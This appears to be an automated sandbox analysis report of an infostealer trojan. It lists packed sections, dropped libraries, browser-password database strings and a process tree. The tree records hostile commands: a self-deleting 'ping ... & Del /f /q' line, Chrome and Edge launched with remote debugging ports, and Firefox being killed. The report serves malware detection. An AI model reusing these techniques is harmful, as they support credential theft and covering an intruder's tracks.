Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE93840	0_2_6CE93840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1D810	0_2_6CE1D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF99D0	0_2_6CDF99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE259F0	0_2_6CE259F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE579F0	0_2_6CE579F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE599C0	0_2_6CE599C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD1980	0_2_6CDD1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE91990	0_2_6CE91990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3F960	0_2_6CE3F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7D960	0_2_6CE7D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE75920	0_2_6CE75920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0F900	0_2_6CF0F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC1AE0	0_2_6CDC1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9DAB0	0_2_6CE9DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF49A50	0_2_6CF49A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFFA10	0_2_6CDFFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBDA30	0_2_6CEBDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE61A10	0_2_6CE61A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE07BF0	0_2_6CE07BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE19BA0	0_2_6CE19BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE89BB0	0_2_6CE89BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB1B80	0_2_6CDB1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA5B90	0_2_6CEA5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9FB60	0_2_6CE9FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0BB20	0_2_6CE0BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC14E0	0_2_6CDC14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF414A0	0_2_6CF414A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA9430	0_2_6CEA9430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4D410	0_2_6CE4D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE455F0	0_2_6CE455F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF9590	0_2_6CDF9590
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_00728860	19_2_00728860
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_00727049	19_2_00727049
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_007278BB	19_2_007278BB
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_007F8101	19_2_007F8101
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_007231A8	19_2_007231A8
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_006E4B30	19_2_006E4B30
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_00722D10	19_2_00722D10
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_006E4DE0	19_2_006E4DE0
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_00717F36	19_2_00717F36
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: 19_2_0072779B	19_2_0072779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_008378BB	20_2_008378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00837049	20_2_00837049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00838860	20_2_00838860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_008331A8	20_2_008331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_007F4B30	20_2_007F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00832D10	20_2_00832D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_007F4DE0	20_2_007F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0083779B	20_2_0083779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_00827F36	20_2_00827F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007FE530	23_2_007FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00816192	23_2_00816192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00838860	23_2_00838860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F4B30	23_2_007F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00832D10	23_2_00832D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007F4DE0	23_2_007F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00810E13	23_2_00810E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00837049	23_2_00837049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008331A8	23_2_008331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00820BC7	23_2_00820BC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00811602	23_2_00811602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0083779B	23_2_0083779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008378BB	23_2_008378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00813DF1	23_2_00813DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00827F36	23_2_00827F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0080D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0080D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00828E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0080DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 008080C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0080D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00807A00 appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CEF9F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDE3620 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF4D930 appears 60 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE1C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDE9B10 appears 100 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF4DAE0 appears 76 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF409D0 appears 317 times
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Code function: String function: 006F80C0 appears 130 times

Source: Ed7zZr4[1].exe.23.dr	Static PE information: Number of sections : 11 > 10
Source: Ed7zZr4.exe.23.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1886336862.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1873375123.000000000BAED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: adtgofcj ZLIB complexity 0.9950963462271342
Source: random[1].exe.23.dr	Static PE information: Section: ZLIB complexity 0.9979843193950177
Source: random[1].exe.23.dr	Static PE information: Section: xjzjhlyk ZLIB complexity 0.9943862416868199
Source: bbbef9e2c3.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9979843193950177
Source: bbbef9e2c3.exe.23.dr	Static PE information: Section: xjzjhlyk ZLIB complexity 0.9943862416868199
Source: random[1].exe0.23.dr	Static PE information: Section: adtgofcj ZLIB complexity 0.9950963462271342
Source: 2a79a10743.exe.23.dr	Static PE information: Section: adtgofcj ZLIB complexity 0.9950963462271342

Source: skotes.exe.19.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: bbbef9e2c3.exe.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: EBFBKFBGII.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 2a79a10743.exe.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@56/61@10/12

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE20300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE20300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\5V6U023M.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2760:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mmm-A33C734061CA11EE8C18806E6F6E696328F833D8
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1860:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\EBFBKFBGII.exe

File created: C:\Users\user~1\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1599712485.000000000597D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1461549261.0000000005989000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2262647686.0000022BC7CD4000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2428525470.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2429079656.000000000579A000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2470469653.00000000057C5000.00000004.00000800.00020000.00000000.sdmp, KJEHCGDBFCBAKECBKKEB.0.dr, DBKKFHIEGDHJKECAAKKE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1884470420.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EBFBKFBGII.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2208,i,3491486157363799224,14608373548706337759,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2268,i,14806240799170882260,2828872377119636784,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2044,i,4211555121704165277,11542586880325375554,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFBKFBGII.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBFBKFBGII.exe "C:\Users\user\Documents\EBFBKFBGII.exe"
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe "C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe "C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe"
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe "C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe "C:\Users\user~1\AppData\Local\Temp\1013000001\c679ee9018.exe"
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFBKFBGII.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2208,i,3491486157363799224,14608373548706337759,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2044,i,4211555121704165277,11542586880325375554,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe "C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2268,i,14806240799170882260,2828872377119636784,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2044,i,4211555121704165277,11542586880325375554,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBFBKFBGII.exe "C:\Users\user\Documents\EBFBKFBGII.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe "C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe"	Jump to behavior
